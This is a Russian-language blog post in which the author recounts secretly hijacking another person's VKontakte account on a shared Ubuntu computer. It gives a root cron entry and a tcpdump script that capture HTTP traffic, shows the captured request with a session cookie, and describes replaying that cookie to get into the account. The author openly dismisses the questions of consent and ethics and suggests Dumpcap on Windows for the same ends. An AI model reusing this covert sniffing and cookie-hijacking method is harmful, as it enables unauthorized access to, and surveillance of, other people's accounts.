Проблемы безопасности в многопользовательских системах

в 19:08, , рубрики: dump, linux, дамп, информационная безопасность, метки: ,

Задумался я как-то о проблемах безопасности, всплывающих в случае, если приходится делить компьютер с другими людьми. Пусть даже у каждого свой аккаунт в системе.

Начну немного издалека.
В декабре 2011 года передо мной встала задача: нужно было получить доступ к странице вконтакте одного человека. Имелся физический доступ к компьютеру, с которого этот человек выходил в интернет. Эта была система Ubuntu 10.10. Также имелся доступ к аккаунту на компьютере, который имел возможность выполнять root-команды. Человеку, коим я интересовался, не лень было каждый раз после работы с сайтом нажимать «Выход». Так что его кукисов в системе после выхода не оставалось.
Сделать всё нужно было без шума: чтоб жертва ни о чём не догадалась.

Вопросы морали, этики и нравов (вроде: кто давал право влезать в его аккаунт и т.д.) предлагаю оставить за рамками данной статьи и сосредоточиться на технических деталях.

Первая мысль, которая посетила мою голову — вполне банальна и предсказуема: попробовать установить кейлоггер в систему. Честно говоря, опыта установки таких штук в Линукс у меня никогда не было. Да это и не потребовалось. Т.к. пришла мне в голову более, на мой взгляд, здравая мысль. Я вспомнил, что это система Linux и в ней по-умолчанию есть такая классная утилитка как tcpdump. Поэтому я решил просто запускать tcpdump на логирование HTTP траффика. Мой план был прост: перехватить cookies от браузера в момент обращения к сайту. Тогда авторизация у контакта была через HTTP, никакого HTTPS не применялось (как сейчас).

Предлагаемый метод не претендует на эффективность с какой бы то ни было точки зрения. Он создавался по принципу «лишь бы работало». Так что не судите строго. Хотя буду рад любым замечаниям.
Итак, после некоторых раздумий я сделал вот что:

В crontab прописал задание, которое каждые 15 мин запускало мой скрипт:

*/15 * * * * root /home/shanker/dump.sh

сам dump.sh выглядел вот так:

#!/bin/sh
killall tcpdump
tcpdump -i eth0 -s 1500 -c 30000 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)' -w "/home/shanker/dump/"`date "+%Y-%m-%d-%H-%M"`-traff-int_if.pcap ;


Немного комментариев:

  1. Т.к. cron будет каждые 15 мин запускать процесс tcpdump, то необходимо уничтожать существующий с прошлого момента процесс tcpdump (если он ещё висит).
  2. Дабы ограничить размер записываемых в файл данных, пользуемся опцией "-с 30000". Это количество пакетов, которые будет сохранять tcpdump. По достижении этого значения процесс tcpdump успешно завершится. Не хочется забивать диск музыкой и фильмами, которые слушает, смотрит этот пользователь.
  3. Фильтруем трафик для записи: только HTTP и только содержащий данные (т.е. SYN, FIN и ASK пакеты игнорим). Взято отсюда.
  4. Задаём приятный глазу формат имени записываемого файла, который генерируется на основании даты и времени сохранения в файл.

Через некоторое время я получил то, что хотел:

GET /xxx HTTP/1.1
Host: vkontakte.ru
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.2.16) Gecko/20110323 Ubuntu/10.10 (maverick) Firefox/3.6.16
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: vkontakte.ru/feed
Cookie: remixchk=5; remixdt=-3600; remixseenads=0; remixsid=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Задача была решена. Дальше — всё просто: подменяем кукисы у себя в браузере и попадаем на нужную страницу.

Не знаю наверняка: возможен ли подобный подход в других ОС. В MacOS, наверное, всё то же самое. А в Windows можно использовать Dumpcap, входящий в пакет Wireshark. Написать похожий скрипт и вписать его в планировщик заданий:

Проблемы безопасности в многопользовательских системах

Правда, я не уверен, что окно командной строки не будет мелькать при этом.

Автор: shanker

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js